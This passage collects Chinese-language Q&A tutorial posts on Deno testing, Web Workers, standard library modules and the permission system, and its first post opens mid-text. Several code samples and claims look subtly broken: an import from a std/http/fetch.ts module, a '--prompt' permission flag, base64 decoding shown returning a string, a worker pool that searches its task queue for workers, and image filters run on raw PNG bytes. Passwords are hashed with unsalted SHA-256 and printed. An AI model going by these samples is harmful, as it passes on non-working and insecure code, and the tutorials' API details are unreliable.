35; // Act - 执行被测试的操作 const total = calculateTotal(items); // Assert - 验证结果 assertEquals(total, expectedTotal);});3. 测试隔离Deno.test("user creation", async () => { // 每个测试使用独立的数据库连接 const db = await createTestDatabase(); try { const user = await db.createUser({ name: "John" }); assertEquals(user.name, "John"); } finally { // 清理资源 await db.close(); }});4. 测试数据构建器// test-builder.tsclass UserBuilder { private user: Partial<User> = { id: 1, name: "John Doe", email: "john@example.com", }; withId(id: number): UserBuilder { this.user.id = id; return this; } withName(name: string): UserBuilder { this.user.name = name; return this; } withEmail(email: string): UserBuilder { this.user.email = email; return this; } build(): User { return this.user as User; }}// 使用构建器创建测试数据Deno.test("user validation", () => { const user = new UserBuilder() .withId(1) .withName("John") .withEmail("john@example.com") .build(); assertEquals(user.isValid(), true);});运行测试1. 基本命令# 运行所有测试deno test# 运行特定测试文件deno test math_test.ts# 监听模式(文件变化时自动运行)deno test --watch# 并行运行测试deno test --parallel# 显示详细输出deno test --verbose# 只运行失败的测试deno test --fail-fast# 允许所有权限deno test --allow-all2. 过滤测试# 运行匹配模式的测试deno test --filter="user"# 运行特定测试deno test --filter="add function"最佳实践总结测试独立性:每个测试应该独立运行,不依赖其他测试清晰的命名:测试名称应该清楚地描述测试的内容AAA 模式:使用 Arrange-Act-Assert 模式组织测试代码适当的断言:使用最合适的断言函数测试边界情况:测试正常情况和边界情况保持简单:测试应该简单、快速、易于理解定期运行:在 CI/CD 中定期运行测试覆盖率监控:监控测试覆盖率,确保代码质量Deno 的测试框架提供了强大而简洁的功能,通过合理使用这些功能,可以构建高质量的测试套件,确保代码的可靠性和可维护性。
阅读 0·2月21日 16:08

Deno 的任务系统如何工作?

Deno 的任务系统(Task System)提供了一种在后台运行异步任务的方式,类似于浏览器中的 Web Workers。这个功能对于执行 CPU 密集型任务或需要并行处理的场景非常有用。任务系统概述Deno 的任务系统允许你创建独立的工作线程,这些线程可以并行执行代码,不会阻塞主线程。每个任务都有自己的内存空间,通过消息传递与主线程通信。基本用法1. 创建简单任务// main.tsconst worker = new Worker(new URL("./worker.ts", import.meta.url).href, { type: "module",});worker.postMessage({ type: "start", data: 42 });worker.onmessage = (event) => { console.log("Received from worker:", event.data); worker.terminate();};worker.onerror = (error) => { console.error("Worker error:", error);};// worker.tsself.onmessage = (event) => { console.log("Worker received:", event.data); const result = event.data.data * 2; self.postMessage({ type: "result", data: result });};运行:deno run --allow-read main.ts2. 使用 Promise 封装 Worker// main.tsfunction runWorker<T>(workerFile: string, data: any): Promise<T> { return new Promise((resolve, reject) => { const worker = new Worker(new URL(workerFile, import.meta.url).href, { type: "module", }); worker.postMessage(data); worker.onmessage = (event) => { resolve(event.data); worker.terminate(); }; worker.onerror = (error) => { reject(error); worker.terminate(); }; });}async function main() { try { const result = await runWorker<number>("./worker.ts", { number: 10 }); console.log("Result:", result); } catch (error) { console.error("Error:", error); }}main();// worker.tsself.onmessage = (event) => { const { number } = event.data; // 模拟耗时计算 let result = 0; for (let i = 0; i < number * 1000000; i++) { result += i; } self.postMessage(result);};实际应用示例1. 图像处理// image-processor.tsself.onmessage = async (event) => { const { imageData, operation } = event.data; let result; switch (operation) { case "grayscale": result = applyGrayscale(imageData); break; case "invert": result = applyInvert(imageData); break; case "blur": result = applyBlur(imageData); break; default: throw new Error(`Unknown operation: ${operation}`); } self.postMessage({ result });};function applyGrayscale(data: Uint8ClampedArray): Uint8ClampedArray { const result = new Uint8ClampedArray(data.length); for (let i = 0; i < data.length; i += 4) { const r = data[i]; const g = data[i + 1]; const b = data[i + 2]; const gray = 0.299 * r + 0.587 * g + 0.114 * b; result[i] = gray; result[i + 1] = gray; result[i + 2] = gray; result[i + 3] = data[i + 3]; } return result;}function applyInvert(data: Uint8ClampedArray): Uint8ClampedArray { const result = new Uint8ClampedArray(data.length); for (let i = 0; i < data.length; i += 4) { result[i] = 255 - data[i]; result[i + 1] = 255 - data[i + 1]; result[i + 2] = 255 - data[i + 2]; result[i + 3] = data[i + 3]; } return result;}function applyBlur(data: Uint8ClampedArray): Uint8ClampedArray { // 简化的模糊算法 return data; // 实际实现会更复杂}// main.tsimport { runWorker } from "./worker-utils.ts";async function processImage(imagePath: string) { const imageData = await Deno.readFile(imagePath); const grayscaleResult = await runWorker<Uint8ClampedArray>( "./image-processor.ts", { imageData, operation: "grayscale" } ); await Deno.writeFile(`${imagePath}.grayscale.png`, grayscaleResult); const invertResult = await runWorker<Uint8ClampedArray>( "./image-processor.ts", { imageData, operation: "invert" } ); await Deno.writeFile(`${imagePath}.invert.png`, invertResult); console.log("Image processing complete");}processImage("input.png");2. 并行数据处理// data-processor.tsself.onmessage = (event) => { const { data, chunkIndex, totalChunks } = event.data; console.log(`Processing chunk ${chunkIndex}/${totalChunks}`); // 模拟数据处理 const processed = data.map((item: number) => ({ value: item, processed: true, timestamp: Date.now(), })); self.postMessage({ chunkIndex, processed });};// main.tsimport { runWorker } from "./worker-utils.ts";async function processDataInParallel(data: number[], chunkSize: number = 1000) { const chunks: number[][] = []; for (let i = 0; i < data.length; i += chunkSize) { chunks.push(data.slice(i, i + chunkSize)); } console.log(`Processing ${chunks.length} chunks in parallel`); const promises = chunks.map((chunk, index) => runWorker("./data-processor.ts", { data: chunk, chunkIndex: index, totalChunks: chunks.length, }) ); const results = await Promise.all(promises); // 合并结果 const processedData = results .sort((a, b) => a.chunkIndex - b.chunkIndex) .flatMap((result) => result.processed); console.log(`Processed ${processedData.length} items`); return processedData;}// 生成测试数据const testData = Array.from({ length: 10000 }, (_, i) => i);processDataInParallel(testData, 1000);3. 文件批量处理// file-processor.tsself.onmessage = async (event) => { const { filePath, operation } = event.data; try { const content = await Deno.readTextFile(filePath); let result: string; switch (operation) { case "uppercase": result = content.toUpperCase(); break; case "lowercase": result = content.toLowerCase(); break; case "reverse": result = content.split("").reverse().join(""); break; case "count": result = String(content.length); break; default: throw new Error(`Unknown operation: ${operation}`); } self.postMessage({ filePath, result, success: true }); } catch (error) { self.postMessage({ filePath, error: error.message, success: false }); }};// main.tsimport { runWorker } from "./worker-utils.ts";async function processFilesInParallel( files: string[], operation: string) { console.log(`Processing ${files.length} files with operation: ${operation}`); const promises = files.map((file) => runWorker("./file-processor.ts", { filePath: file, operation }) ); const results = await Promise.all(promises); results.forEach((result) => { if (result.success) { console.log(`✓ ${result.filePath}: ${result.result.substring(0, 50)}...`); } else { console.error(`✗ ${result.filePath}: ${result.error}`); } }); return results;}// 获取当前目录所有 .txt 文件const files = Array.from(Deno.readDirSync(".")) .filter((entry) => entry.isFile && entry.name.endsWith(".txt")) .map((entry) => entry.name);processFilesInParallel(files, "uppercase");4. 密码哈希计算// password-hasher.tsself.onmessage = async (event) => { const { password, algorithm = "SHA-256" } = event.data; const encoder = new TextEncoder(); const data = encoder.encode(password); const hashBuffer = await crypto.subtle.digest(algorithm, data); const hashArray = Array.from(new Uint8Array(hashBuffer)); const hashHex = hashArray.map((b) => b.toString(16).padStart(2, "0")).join(""); self.postMessage({ password, hash: hashHex, algorithm });};// main.tsimport { runWorker } from "./worker-utils.ts";async function hashPasswords(passwords: string[]) { console.log(`Hashing ${passwords.length} passwords`); const promises = passwords.map((password) => runWorker("./password-hasher.ts", { password }) ); const results = await Promise.all(promises); results.forEach((result) => { console.log(`${result.password}: ${result.hash}`); }); return results;}const passwords = ["password123", "admin", "user123", "test"];hashPasswords(passwords);高级用法1. Worker 池// worker-pool.tsexport class WorkerPool { private workers: Worker[] = []; private taskQueue: Array<{ data: any; resolve: (value: any) => void; reject: (error: any) => void }> = []; private maxWorkers: number; constructor(workerFile: string, maxWorkers: number = 4) { this.maxWorkers = maxWorkers; for (let i = 0; i < maxWorkers; i++) { const worker = new Worker(new URL(workerFile, import.meta.url).href, { type: "module", }); worker.onmessage = (event) => { const task = this.taskQueue.shift(); if (task) { task.resolve(event.data); this.assignNextTask(worker); } }; worker.onerror = (error) => { const task = this.taskQueue.shift(); if (task) { task.reject(error); this.assignNextTask(worker); } }; this.workers.push(worker); } } private assignNextTask(worker: Worker) { const task = this.taskQueue[0]; if (task) { worker.postMessage(task.data); } } async execute(data: any): Promise<any> { return new Promise((resolve, reject) => { this.taskQueue.push({ data, resolve, reject }); // 查找空闲的 worker const idleWorker = this.workers.find((w) => !this.taskQueue.includes(w)); if (idleWorker) { this.assignNextTask(idleWorker); } }); } terminate() { this.workers.forEach((worker) => worker.terminate()); this.workers = []; }}使用 Worker 池:// main.tsimport { WorkerPool } from "./worker-pool.ts";const pool = new WorkerPool("./data-processor.ts", 4);async function processWithPool(data: number[]) { const promises = data.map((item) => pool.execute({ data: item })); const results = await Promise.all(promises); pool.terminate(); return results;}processWithPool([1, 2, 3, 4, 5, 6, 7, 8]);2. 错误处理和重试// worker-with-retry.tsexport async function runWorkerWithRetry<T>( workerFile: string, data: any, maxRetries: number = 3): Promise<T> { let lastError: Error | undefined; for (let attempt = 1; attempt <= maxRetries; attempt++) { try { return await runWorker<T>(workerFile, data); } catch (error) { lastError = error as Error; console.error(`Attempt ${attempt} failed: ${error.message}`); if (attempt < maxRetries) { await new Promise((resolve) => setTimeout(resolve, 1000 * attempt)); } } } throw lastError;}最佳实践合理使用 Worker:只在 CPU 密集型任务中使用 Worker控制并发:限制同时运行的 Worker 数量正确清理:使用完成后终止 Worker错误处理:妥善处理 Worker 错误消息大小:避免传递过大的消息类型安全:使用 TypeScript 确保消息类型正确Deno 的任务系统为并行处理和后台任务提供了强大的支持,能够显著提高应用程序的性能和响应能力。
阅读 0·2月21日 16:08

Deno 的标准库有哪些常用模块?

Deno 的标准库(Standard Library)是一组经过精心设计、测试和维护的模块,为开发者提供了高质量、可复用的代码。标准库涵盖了从文件系统操作到网络编程的各个方面,是 Deno 生态系统的重要组成部分。标准库概述Deno 标准库托管在 https://deno.land/std/,所有模块都经过严格的代码审查和测试,确保代码质量和安全性。版本管理标准库使用语义化版本控制,建议在导入时指定版本:// 推荐:指定版本import { serve } from "https://deno.land/std@0.208.0/http/server.ts";// 不推荐:使用最新版本import { serve } from "https://deno.land/std/http/server.ts";主要模块1. HTTP 模块HTTP 服务器import { serve } from "https://deno.land/std@0.208.0/http/server.ts";const handler = async (req: Request): Promise<Response> => { const url = new URL(req.url); if (url.pathname === "/") { return new Response("Hello, Deno!", { headers: { "content-type": "text/plain" }, }); } return new Response("Not Found", { status: 404 });};await serve(handler, { port: 8000 });HTTP 客户端import { fetch } from "https://deno.land/std@0.208.0/http/fetch.ts";const response = await fetch("https://api.example.com/data");const data = await response.json();console.log(data);2. 文件系统模块文件操作import { ensureDir, ensureFile } from "https://deno.land/std@0.208.0/fs/mod.ts";// 确保目录存在await ensureDir("./data/uploads");// 确保文件存在await ensureFile("./config.json");// 复制文件import { copy } from "https://deno.land/std@0.208.0/fs/copy.ts";await copy("source.txt", "destination.txt");// 移动文件import { move } from "https://deno.land/std@0.208.0/fs/move.ts";await move("old.txt", "new.txt");遍历目录import { walk } from "https://deno.land/std@0.208.0/fs/walk.ts";for await (const entry of walk("./src")) { console.log(entry.path); if (entry.isFile) { console.log(`File: ${entry.name}`); } else if (entry.isDirectory) { console.log(`Directory: ${entry.name}`); }}3. 路径模块import { join, basename, dirname, extname, resolve } from "https://deno.land/std@0.208.0/path/mod.ts";const path = "/home/user/documents/file.txt";console.log(basename(path)); // "file.txt"console.log(dirname(path)); // "/home/user/documents"console.log(extname(path)); // ".txt"console.log(join("/home", "user", "docs")); // "/home/user/docs"console.log(resolve("./src", "file.ts")); // 绝对路径4. 编码模块Base64 编码import { encodeBase64, decodeBase64 } from "https://deno.land/std@0.208.0/encoding/base64.ts";const text = "Hello, Deno!";const encoded = encodeBase64(text);console.log(encoded); // "SGVsbG8sIERlbm8h"const decoded = decodeBase64(encoded);console.log(decoded); // "Hello, Deno!"Hex 编码import { encodeHex, decodeHex } from "https://deno.land/std@0.208.0/encoding/hex.ts";const data = new TextEncoder().encode("Hello");const hex = encodeHex(data);console.log(hex); // "48656c6c6f"const decoded = decodeHex(hex);console.log(new TextDecoder().decode(decoded)); // "Hello"5. 测试模块import { assertEquals, assertThrows } from "https://deno.land/std@0.208.0/testing/asserts.ts";Deno.test("assertEquals example", () => { assertEquals(1 + 1, 2); assertEquals("hello", "hello");});Deno.test("assertThrows example", () => { assertThrows( () => { throw new Error("Test error"); }, Error, "Test error" );});6. 日志模块import { getLogger, setup, handlers } from "https://deno.land/std@0.208.0/log/mod.ts";await setup({ handlers: { console: new handlers.ConsoleHandler("INFO"), }, loggers: { default: { level: "INFO", handlers: ["console"], }, },});const logger = getLogger();logger.info("Application started");logger.warning("This is a warning");logger.error("An error occurred");7. UUID 模块import { v4 as uuidv4, v5 as uuidv5 } from "https://deno.land/std@0.208.0/uuid/mod.ts";const id1 = uuidv4();console.log(id1); // 生成随机 UUIDconst id2 = uuidv5("hello", uuidv4());console.log(id2); // 基于命名空间生成 UUID8. 日期时间模块import { format, parse } from "https://deno.land/std@0.208.0/datetime/mod.ts";const now = new Date();const formatted = format(now, "yyyy-MM-dd HH:mm:ss");console.log(formatted); // "2024-01-15 10:30:45"const parsed = parse("2024-01-15", "yyyy-MM-dd");console.log(parsed); // Date 对象9. 颜色模块import { red, green, blue, bold } from "https://deno.land/std@0.208.0/fmt/colors.ts";console.log(red("Error message"));console.log(green("Success message"));console.log(blue("Info message"));console.log(bold("Important message"));10. 异步模块import { delay, retry } from "https://deno.land/std@0.208.0/async/mod.ts";// 延迟执行await delay(1000); // 等待 1 秒// 重试机制const result = await retry(async () => { const response = await fetch("https://api.example.com"); if (!response.ok) throw new Error("Request failed"); return response.json();}, { maxAttempts: 3, minTimeout: 1000,});11. 流模块import { copy } from "https://deno.land/std@0.208.0/streams/copy.ts";const file = await Deno.open("input.txt");const output = await Deno.open("output.txt", { create: true, write: true });await copy(file, output);file.close();output.close();12. 命令行模块import { parseArgs } from "https://deno.land/std@0.208.0/cli/parse_args.ts";const args = parseArgs(Deno.args, { boolean: ["verbose", "help"], string: ["output"], default: { verbose: false },});console.log(args);// 运行: deno run script.ts --verbose --output=result.txt// 输出: { _: [], verbose: true, help: false, output: "result.txt" }实际应用示例文件上传服务器import { serve } from "https://deno.land/std@0.208.0/http/server.ts";import { ensureDir } from "https://deno.land/std@0.208.0/fs/mod.ts";import { extname } from "https://deno.land/std@0.208.0/path/mod.ts";const UPLOAD_DIR = "./uploads";await ensureDir(UPLOAD_DIR);const handler = async (req: Request): Promise<Response> => { const url = new URL(req.url); if (req.method === "POST" && url.pathname === "/upload") { const formData = await req.formData(); const file = formData.get("file") as File; if (file) { const filename = `${crypto.randomUUID()}${extname(file.name)}`; const filepath = `${UPLOAD_DIR}/${filename}`; const content = await file.arrayBuffer(); await Deno.writeFile(filepath, new Uint8Array(content)); return new Response(JSON.stringify({ filename }), { headers: { "Content-Type": "application/json" }, }); } } return new Response("Not Found", { status: 404 });};await serve(handler, { port: 8000 });日志记录系统import { getLogger, setup, handlers, LogRecord } from "https://deno.land/std@0.208.0/log/mod.ts";class CustomHandler extends handlers.BaseHandler { override format(logRecord: LogRecord): string { const { levelName, msg, datetime } = logRecord; return `[${datetime.toISOString()}] [${levelName}] ${msg}`; }}await setup({ handlers: { console: new CustomHandler("DEBUG"), }, loggers: { default: { level: "DEBUG", handlers: ["console"], }, },});const logger = getLogger();async function processData(data: any) { logger.debug(`Processing data: ${JSON.stringify(data)}`); try { const result = await performOperation(data); logger.info("Operation completed successfully"); return result; } catch (error) { logger.error(`Operation failed: ${error.message}`); throw error; }}标准库的优势高质量代码:所有模块都经过严格审查和测试类型安全:完整的 TypeScript 类型定义文档完善:详细的 API 文档和示例定期更新:持续维护和功能增强一致性:统一的代码风格和 API 设计安全可靠:经过安全审计,无已知漏洞最佳实践指定版本:始终使用特定版本的标准库优先使用:在可能的情况下优先使用标准库而非第三方库查看文档:使用 deno doc 查看模块文档贡献代码:发现问题时可以提交 PR 贡献代码关注更新:定期查看标准库的更新日志Deno 标准库为开发者提供了强大而可靠的基础设施,大大简化了常见任务的实现,是 Deno 生态系统的重要支柱。
阅读 0·2月21日 16:08

Deno 的权限系统是如何工作的?

Deno 的权限系统是其最核心的安全特性之一,采用"默认拒绝"的安全模型。这种设计确保了代码在未经明确授权的情况下无法访问敏感资源。权限系统概述Deno 的安全模型基于最小权限原则,默认情况下脚本没有任何权限,所有资源访问都需要显式授权。权限类型1. 文件系统权限# 允许读取所有文件deno run --allow-read script.ts# 允许读取特定目录deno run --allow-read=/app,/data script.ts# 允许写入所有文件deno run --allow-write script.ts# 允许写入特定目录deno run --allow-write=/tmp script.ts# 同时允许读写deno run --allow-read --allow-write script.ts2. 网络权限# 允许所有网络访问deno run --allow-net script.ts# 允许访问特定域名deno run --allow-net=api.example.com script.ts# 允许访问特定端口deno run --allow-net=:8080 script.ts# 允许访问特定 IP 和端口deno run --allow-net=127.0.0.1:8000 script.ts3. 环境变量权限# 允许访问所有环境变量deno run --allow-env script.ts# 允许访问特定环境变量deno run --allow-env=API_KEY,DATABASE_URL script.ts4. 子进程权限# 允许创建子进程deno run --allow-run script.ts# 允许运行特定命令deno run --allow-run=git,npm script.ts5. 系统信息权限# 允许获取系统信息deno run --allow-sys script.ts# 允许获取特定系统信息deno run --allow-sys=hostname,osRelease,osVersion script.ts6. 高精度时间权限# 允许访问高精度时间deno run --allow-hrtime script.ts7. FFI(外部函数接口)权限# 允许加载动态库deno run --allow-ffi script.ts# 允许加载特定库deno run --allow-ffi=/path/to/library.so script.ts权限组合使用# 组合多个权限deno run --allow-read --allow-write --allow-net --allow-env=API_KEY app.ts# 使用 --allow-all 授予所有权限(不推荐生产环境)deno run --allow-all app.ts代码中的权限检查Deno 提供了 API 来检查当前拥有的权限:// 检查是否具有读取权限const canRead = await Deno.permissions.query({ name: "read", path: "/tmp" });console.log(canRead.state); // "granted", "prompt", or "denied"// 检查是否具有网络权限const canAccessNet = await Deno.permissions.query({ name: "net" });console.log(canAccessNet.state);// 请求权限const netPermission = await Deno.permissions.request({ name: "net" });if (netPermission.state === "granted") { console.log("Network access granted");}权限提示模式Deno 支持交互式权限提示:# 使用 --prompt 权限标志deno run --prompt=net script.ts当脚本尝试访问需要权限的资源时,Deno 会提示用户是否授权。实际应用示例1. 文件服务器// file-server.tsimport { serve } from "https://deno.land/std@0.208.0/http/server.ts";const handler = async (req: Request): Promise<Response> => { const url = new URL(req.url); const filePath = `.${url.pathname}`; try { const content = await Deno.readFile(filePath); return new Response(content); } catch { return new Response("File not found", { status: 404 }); }};await serve(handler, { port: 8000 });运行:deno run --allow-read --allow-net file-server.ts2. API 客户端// api-client.tsconst API_KEY = Deno.env.get("API_KEY");if (!API_KEY) { throw new Error("API_KEY environment variable not set");}const response = await fetch("https://api.example.com/data", { headers: { "Authorization": `Bearer ${API_KEY}`, },});const data = await response.json();console.log(data);运行:deno run --allow-net --allow-env=API_KEY api-client.ts3. 文件处理工具// file-processor.tsconst inputFile = Deno.args[0];const outputFile = Deno.args[1];const content = await Deno.readTextFile(inputFile);const processed = content.toUpperCase();await Deno.writeTextFile(outputFile, processed);console.log(`Processed ${inputFile} to ${outputFile}`);运行:deno run --allow-read --allow-write file-processor.ts input.txt output.txt权限最佳实践最小权限原则:只授予必要的权限明确指定资源:使用具体的路径和域名,而不是通配符避免 --allow-all:在生产环境中绝不使用文档化权限需求:在 README 中说明运行脚本所需的权限使用权限检查:在代码中检查权限并提供友好的错误信息环境隔离:在容器或沙箱环境中运行不受信任的代码安全优势Deno 的权限系统提供了以下安全优势:防止数据泄露:未经授权无法读取敏感文件防止系统破坏:未经授权无法写入或删除文件防止网络攻击:未经授权无法进行网络请求防止环境泄露:未经授权无法访问环境变量防止命令注入:未经授权无法执行系统命令可审计性:所有权限使用都是显式的,便于审计与 Node.js 的对比| 特性 | Deno | Node.js ||------|------|---------|| 默认权限 | 无权限 | 完全访问 || 权限控制 | 命令行标志 | 无内置机制 || 安全模型 | 默认拒绝 | 默认允许 || 权限粒度 | 细粒度控制 | 无控制 || 审计能力 | 显式权限 | 隐式权限 |Deno 的权限系统为 JavaScript/TypeScript 运行时提供了企业级的安全保障,使其特别适合处理敏感数据和运行不受信任代码的场景。
阅读 0·2月21日 16:08